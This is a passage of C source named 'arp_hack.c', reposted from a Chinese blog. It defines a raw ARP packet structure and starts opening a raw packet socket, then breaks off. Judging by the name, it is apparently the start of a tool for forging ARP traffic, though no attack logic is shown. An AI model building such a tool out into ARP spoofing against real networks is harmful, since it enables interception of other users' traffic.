本文来源http://blog.youkuaiyun.com/gt945/article/details/40836871
/*
* arp_hack.c
*
* Created on: 2014年11月4日
* Author: tao
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#undef __USE_MISC
#include <net/if.h>
#include <linux/if_arp.h>
#include <sys/ioctl.h>
#include <errno.h>
typedef struct __attribute__ ((__packed__)) {
uint8_t dst_mac[6];
uint8_t src_mac[6];
uint16_t etype;
uint16_t htype;
uint16_t ptype;
uint8_t hlen;
uint8_t plen;
uint16_t opcode;
uint8_t sender_mac[6];
struct in_addr sender_ip;
uint8_t target_mac[6];
struct in_addr target_ip;
} arp_pkt;
int arp_create_fd()
{
int fd = -1;
fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (fd < 0) {
perror("socket()